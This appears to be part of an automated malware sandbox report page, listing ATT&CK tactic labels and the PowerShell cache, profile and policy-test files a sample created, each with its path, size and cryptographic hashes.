File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3d39580dca81c1baf00f4a818531c1bf44984e93e331c4fc233f0cd803c0be13
MD5 d671b0247b9b395e9ac55458c40baf79
SHA1 ec72601b97e875c42a147d563fcf90c6c0a08147
SHA512 f8d879d6984abac47fbbcb2cf81aed30202f623b78cf89348b81644c7751d79c8083428c50379e0a4861a99ec689be355616ffafcd2da13905fe49bea6f8d054
TLSH
T149117633B79CC135C8E9117A108DAD11B2B5C3CB04AEDE8B7A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3ebd5b937294eeca66abfba6396e7698aade7f1fba82f86adfea497984a80725
MD5 271a2877f40dff12f5df1b85f8844e85
SHA1 abdbff01e4aa13bf4e449d050fcd90251f37fb2b
SHA512 5d1697852cfd252e38868586d2cb97e94d507ed30b44407308f46df8d217077d4396db0ae719a509b383499f46d67506fe3b65ca384eb6b23a409d6e16336ba7
TLSH
T12E119C33B79CC1B5C8D9117A1089AD01B1B6C3C7009EDECB7A84C508E57F59ADB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_a403smlc.si2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a403smlc.si2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download